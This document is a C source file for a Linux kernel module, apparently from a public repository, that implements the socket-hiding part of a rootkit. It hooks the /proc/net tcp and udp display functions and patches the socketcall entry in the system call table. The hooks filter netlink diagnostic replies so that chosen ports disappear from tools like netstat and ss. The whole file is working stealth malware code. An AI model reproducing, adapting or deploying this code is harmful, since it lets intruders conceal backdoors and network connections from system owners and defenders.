-
Notifications
You must be signed in to change notification settings - Fork 12
/
hide_sockets.c
264 lines (240 loc) · 7.96 KB
/
hide_sockets.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
#include <linux/module.h> /* Needed by all modules */
#include <linux/kernel.h> /* Needed for KERN_INFO */
#include <net/tcp.h>
#include <net/udp.h>
#include <net/inet_sock.h>
#include <linux/inet_diag.h>
#include <linux/socket.h>
#include "sysmap.h" /* Pointers to system functions */
#include "global.h"
#include "hide_sockets.h"
// for convenience, I'm using the following notations for fun pointers:
// fun_<return type>_<arg1>_<arg2>_<arg3>_...
// for hooking the original read function
typedef int (*fun_int_seq_file_void) (struct seq_file*, void*);
fun_int_seq_file_void tcp_show_orig;
fun_int_seq_file_void udp_show_orig;
typedef asmlinkage long (*fun_long_int_unsigned_long)(int, unsigned long __user*);
fun_long_int_unsigned_long orig_socketcall;
#define OUR_PROT_TCP 1
#define OUR_PROT_UDP 2
struct l_socket_to_hide {
int port;
int prot;
struct list_head list;
};
struct list_head sockets_to_hide;
int port_to_hide = -1;
char* prot_to_hide = "";
void hide_socket(char *protocol, int port){
struct l_socket_to_hide* toHide;
toHide = kmalloc(sizeof(struct l_socket_to_hide), GFP_KERNEL);
// fill struct with protocoll and port
toHide->port = port;
if (strcmp (protocol, "udp") == 0){
toHide->prot = OUR_PROT_UDP;
}
else {
toHide->prot = OUR_PROT_TCP;
}
// add the new socket to hide to the sockets to be hidden
list_add(&toHide->list, &sockets_to_hide);
/* list_for_each(cur, &sockets_to_hide){
OUR_DEBUG("Hidden socket: %d on port %d\n", cur->prot, cur->port);
} */
}
void unhidesocket(int prot, int port){
struct list_head* cur;
struct list_head* cur2;
struct l_socket_to_hide* socket;
list_for_each_safe(cur, cur2, &sockets_to_hide){
socket = list_entry(cur, struct l_socket_to_hide, list);
if (socket->port == port && socket->prot == prot){
list_del(cur);
kfree(socket);
}
}
}
void hideTCP(int port){
hide_socket("tcp", port);
}
void hideUDP(int port){
hide_socket("udp", port);
}
void unhideTCP(int port){
unhidesocket(OUR_PROT_TCP, port);
}
void unhideUDP(int port){
unhidesocket(OUR_PROT_UDP, port);
}
static int hooked_udp_show(struct seq_file* file, void* v){
int port;
struct sock* sk;
struct inet_sock* s;
struct l_socket_to_hide* socket;
struct list_head* cur;
// if (strcmp(prot_to_hide, "udp")){
// return udp_show_orig(file, v);
// }
if (v == SEQ_START_TOKEN) {
return udp_show_orig(file, v);
}
sk = (struct sock*) v;
s = inet_sk(sk);
OUR_DEBUG("pointer : %p\n", s);
port = ntohs(s->sport);
OUR_DEBUG("udp_show port: %d\n", s->sport);
list_for_each(cur, &sockets_to_hide){
socket = list_entry(cur, struct l_socket_to_hide, list);
if (port == socket->port && socket->prot == OUR_PROT_UDP){
return 0;
}
}
return udp_show_orig(file, v);
}
static int hooked_tcp_show(struct seq_file* file, void* v){
int port;
struct sock* sk;
struct inet_sock* s;
struct l_socket_to_hide* socket;
struct list_head* cur;
if (v == SEQ_START_TOKEN) {
return tcp_show_orig(file, v);
}
sk = (struct sock*) v;
s = inet_sk(sk);
port = ntohs(s->sport);
list_for_each(cur, &sockets_to_hide){
socket = list_entry(cur, struct l_socket_to_hide, list);
if (port == socket->port && socket->prot == OUR_PROT_TCP){
return 0;
}
}
return tcp_show_orig(file, v);
}
static int checkport(struct nlmsghdr *nlh){
struct inet_diag_msg *r = NLMSG_DATA(nlh);
int lport = ntohs(r->id.idiag_sport);
struct l_socket_to_hide* socket;
struct list_head* cur;
list_for_each(cur, &sockets_to_hide){
socket = list_entry(cur, struct l_socket_to_hide, list);
//printk(KERN_ALERT "Checking %d against %d\n", lport, socket->port);
if (lport == socket->port && socket->prot == OUR_PROT_TCP){
return 1;
}
}
return 0;
}
asmlinkage long hooked_socketcall(int call, unsigned long __user* args){
long retval;
long status; // bytes remaining until end of result
struct msghdr* msg;
struct nlmsghdr* h;
__kernel_size_t numblocks;
struct inet_diag_msg *r;
char* currhdr;
int i;
int found=0;
int offset;
// here the actual work for the recvmsg system call
if(call == SYS_RECVMSG){
// retrieve data structures
msg = (struct msghdr*)(((int*)args)[1]);
h = (struct nlmsghdr*)(msg->msg_iov->iov_base);
numblocks = msg->msg_iovlen;
r = NLMSG_DATA(h);
// compute "real" result with orig_socketcall
retval = orig_socketcall(call, args);
// status holds the bytes remaining
status = retval;
// now, we remove the sockets to be hidden from the result...
found = 1;
while (NLMSG_OK(h, status)) {
if (found == 0){
h = NLMSG_NEXT(h, status);
}
currhdr = (char*)h;
if (checkport(h)){
found = 1;
offset = NLMSG_ALIGN((h)->nlmsg_len);
for (i=0; i<status; ++i){
// "NLMSG_ALIGN((nlh)->nlmsg_len)" computes the length of the nlmsghdr nlh in bytes.
currhdr[i] = currhdr[i + offset];
}
retval = retval - offset;
}
else {
found = 0;
}
}
return retval;
}
return orig_socketcall(call, args);
}
asmlinkage long hooked_socketcall_old_version(int call, unsigned long __user* args){
// when a socket gets opened with exaclty the arguments which ss uses, return -1
// returning -1 causes ss to try it via /proc/net, which we already hooked
if(call == SYS_SOCKET && args[0] == AF_NETLINK && args[1] == SOCK_RAW && args[2] == NETLINK_INET_DIAG)
return -1;
return orig_socketcall(call, args);
}
void load_sockethiding(void){
struct proc_dir_entry *p = init_net.proc_net->subdir;
struct tcp_seq_afinfo *tcp_seq = 0;
struct udp_seq_afinfo *udp_seq = 0;
void** syscall_table = (void*)ptr_sys_call_table;
int counter = 0;
while (p && counter <2){
if (strcmp(p->name, "tcp")==0){
tcp_seq = p->data;
tcp_show_orig = tcp_seq->seq_ops.show;
tcp_seq->seq_ops.show = hooked_tcp_show;
counter++;
}
if (strcmp(p->name, "udp")==0){
udp_seq = p->data;
udp_show_orig = udp_seq->seq_ops.show;
udp_seq->seq_ops.show = hooked_udp_show;
counter++;
}
p = p->next;
}
orig_socketcall = (fun_long_int_unsigned_long)syscall_table[__NR_socketcall];
make_page_writable((long unsigned int)ptr_sys_call_table);
syscall_table[__NR_socketcall] = hooked_socketcall;
make_page_readonly((long unsigned int)ptr_sys_call_table);
INIT_LIST_HEAD(&sockets_to_hide);
}
void unload_sockethiding(void){
struct proc_dir_entry *p = init_net.proc_net->subdir;
struct tcp_seq_afinfo *tcp_seq = 0;
struct udp_seq_afinfo *udp_seq = 0;
struct l_socket_to_hide *socket;
struct list_head *pos;
struct list_head *pos2;
void** syscall_table;
int counter = 0;
while (p && counter <2){
if (strcmp(p->name, "tcp")==0){
tcp_seq = p->data;
tcp_seq->seq_ops.show = tcp_show_orig;
counter++;
}
if (strcmp(p->name, "udp")==0){
udp_seq = p->data;
udp_seq->seq_ops.show = udp_show_orig;
counter++;
}
p = p->next;
}
syscall_table = (void**) ptr_sys_call_table;
make_page_writable((long unsigned int)ptr_sys_call_table);
syscall_table[__NR_socketcall] = orig_socketcall;
make_page_readonly((long unsigned int)ptr_sys_call_table);
list_for_each_safe(pos, pos2, &sockets_to_hide){
socket = list_entry(pos, struct l_socket_to_hide, list);
list_del(pos);
kfree(socket);
}
}